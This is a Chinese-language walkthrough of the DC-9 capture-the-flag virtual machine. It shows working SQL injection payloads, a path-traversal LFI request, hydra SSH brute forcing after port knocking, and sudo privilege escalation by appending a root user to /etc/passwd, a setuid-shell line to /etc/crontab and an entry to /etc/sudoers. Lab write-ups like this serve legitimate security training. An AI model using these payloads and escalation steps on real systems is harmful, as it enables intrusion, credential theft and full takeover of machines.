信息蒐集
nmap -sP 192.168.146.0/24 #主機發現
nmap -A 192.168.146.147 #掃描端口等信息
php
22端口過濾,80端口開放,一樣的從80端口入手。
不是現成的cms,而後瀏覽一下發現search的地方有sql注入
html
#探測 Mary //正確 Mary' //錯誤 Mary'# //正確 #注入 0' union select 1,2,3,4,5,6# //6列都可控 0' union select 1,2,3,4,5,database()# //數據庫staff 0' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()# //StaffDetails,Users 0' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'# //UserID,Username,Password 0' union select 1,2,3,4,5,group_concat(UserID,' | ',Username,' | ',Password) from Users# //1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc
解密一下這個md5,https://www.somd5.com/解出來是transorbital1,登錄一下。
index.php
python
manage.php
mysql
看到底部File does not exist,以前的靶機也有相似的,能夠猜想多是LFI(include()),驗證一下。
直接和一塊兒同樣寫file,發現就是這個參數。(固然,通常來講須要fuzz一下,這裏我就直接作了)
http://192.168.146.147/manage.php?file=../../../../etc/passwd
linux
emmmm,這裏不能直接用絕對路徑,只能用相對路徑。不少文件讀不了,估計是沒權限。
這樣以前的讀日誌文件getshell的思路就不行了,須要另闢蹊徑。
而且雖然獲得了用戶名能夠嘗試hydra爆破,可是以前掃描端口已經看到hydra是給過濾的,因此沒法爆破。
算法
許久沒有思路。。。sql
最後嘗試找ssh的保護措施。
https://www.ibm.com/developerworks/cn/aix/library/au-sshlocks/index.html
../../../../etc/security/access.conf #決定容許哪些用戶登陸
shell
都給註釋了,並且好像沒有john用戶啊。。
../../../../etc/knockd.conf #指定端口敲門規則,詳細看url
數據庫
getFlag
能夠看到,敲門後22端口就開放了。那就上hydra爆破一下。
hydra -L username.txt -P /usr/share/wordlists/rockyou.txt -t 6 ssh://192.168.146.147
安全
root@kali:/# cat username.txt janitor2 janitor phoebeb monicag rossg joeyt chandlerb fredf
看看時間,黑人問號??? 這確定不行呀。 得本身生成個字典。
回到以前sql注入,能夠注入出用戶名密碼,估計能夠用來撞庫
直接用sqlmap所有跑出來吧。
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql --dbs //information_schema,Staff,還有一個新表users sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -tables //UserDetails sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -T UserDetails --columns //firstname,id,lastname,password,reg_date,username sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -T UserDetails -C id,firstname,lastname,password --dump
(這哥們估計刷了不少遍friends老友記,Ross,Joey,Rachel都有。。。)
將密碼生成字典pwd.txt,再用hydra爆破。hydra -L username.txt -P pwd.txt ssh://192.168.146.147
[22][ssh] host: 192.168.146.147 login: janitor password: Ilovepeepee [22][ssh] host: 192.168.146.147 login: joeyt password: Passw0rd [22][ssh] host: 192.168.146.147 login: chandlerb password: UrAG0D!
janitor用戶目錄下有隱藏目錄.secrets-for-putin裏面有隱藏的密碼文件
作成pwd.txt 繼續爆破hydra -L username.txt -P pwd.txt -t 6 ssh://192.168.146.147
用這個用戶登錄上去。到這個地步差很少就該提權了。
看看sudo權限。sudo -l
能夠以root權限執行這個test(elf文件),這確定有問題了。。。
試了下,直接執行是不行的(由於不知道功能不會用)。大概猜一下就是讀read文件,而後添加進append文件?固然要驗證下。
而後在上兩級目錄看到了test.py,看看他的內容。
#!/usr/bin/python import sys if len (sys.argv) != 3 : print ("Usage: python test.py read append") sys.exit (1) else : f = open(sys.argv[1], "r") output = (f.read()) f = open(sys.argv[2], "a") f.write(output) f.close()
簡單的,就是先打開read指定的文件,而後添加到append指定的文件。
既然能夠寫文件那就有幾個思路了:/etc/passwd文件,/etc/sudoers文件,/etc/crontab文件
寫passwd文件
首先了解linux 命令採用5種加密方式和手動生成shadow密碼的方法
http://www.javashuo.com/article/p-mcpiqiji-bo.html
https://qastack.cn/unix/81240/manually-generate-password-for-etc-shadow
①.該列留空,即"::",表示該用戶沒有密碼。 ②.該列爲"!",即":!:",表示該用戶被鎖,被鎖將沒法登錄,可是可能其餘的登陸方式是不受限制的,如ssh公鑰認證的方式,su的方式。 ③.該列爲"*",即":*:",也表示該用戶被鎖,和"!"效果是同樣的。 ④.該列以"!"或"!!"開頭,則也表示該用戶被鎖。 ⑤.該列爲"!!",即":!!:",表示該用戶歷來沒設置過密碼。 ⑥.若是格式爲"$id$salt$hashed",則表示該用戶密碼正常。其中$id$的id表示密碼的加密算法,$1$表示使用MD5算法,$2a$表示使用Blowfish算法,"$2y$"是另外一算法長度的Blowfish,"$5$"表示SHA-256算法,而"$6$"表示SHA-512算法,
咱們使用下面這條
perl -e 'print crypt("hack", "salt")' #saOlCG7b7vaGw
#使用方式 echo 'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash' > /tmp/11.txt sudo ./test /tmp/11.txt /etc/passwd su A1oe Password: hack
crontab文件
參考https://www.cnblogs.com/A1oe/p/12535633.html
fredf@dc-9:/opt/devstuff/dist/test$ echo "* * * * * root chmod 4777 /bin/sh" > /tmp/1.txt fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/1.txt /etc/crontab
寫sudoers文件
#使用方法 fredf@dc-9:/opt/devstuff/dist/test$ echo 'fredf ALL=(ALL:ALL) ALL' > /tmp/33.txtfredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/33.txt /etc/sudoers fredf@dc-9:/opt/devstuff/dist/test$ sudo -l Matching Defaults entries for fredf on dc-9: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/dist/test/test (ALL : ALL) ALL fredf@dc-9:/opt/devstuff/dist/test$ sudo cat /root/theflag.txt
總結
本次靶機又複習了下基礎的sql注入,學習了一下ssh保護措施,一個關於ssh安全的重要配置文件knockd.conf,這個敲對門才能ssh鏈接還挺好玩的。。 而後就是又root權限來寫文件(sudo提權),簡單的就是三個文件了/etc/passwd、/etc/sudoers、/etc/crontab文件。 最後,DC系列靶機完結啦,撒花~,準備開其餘坑了。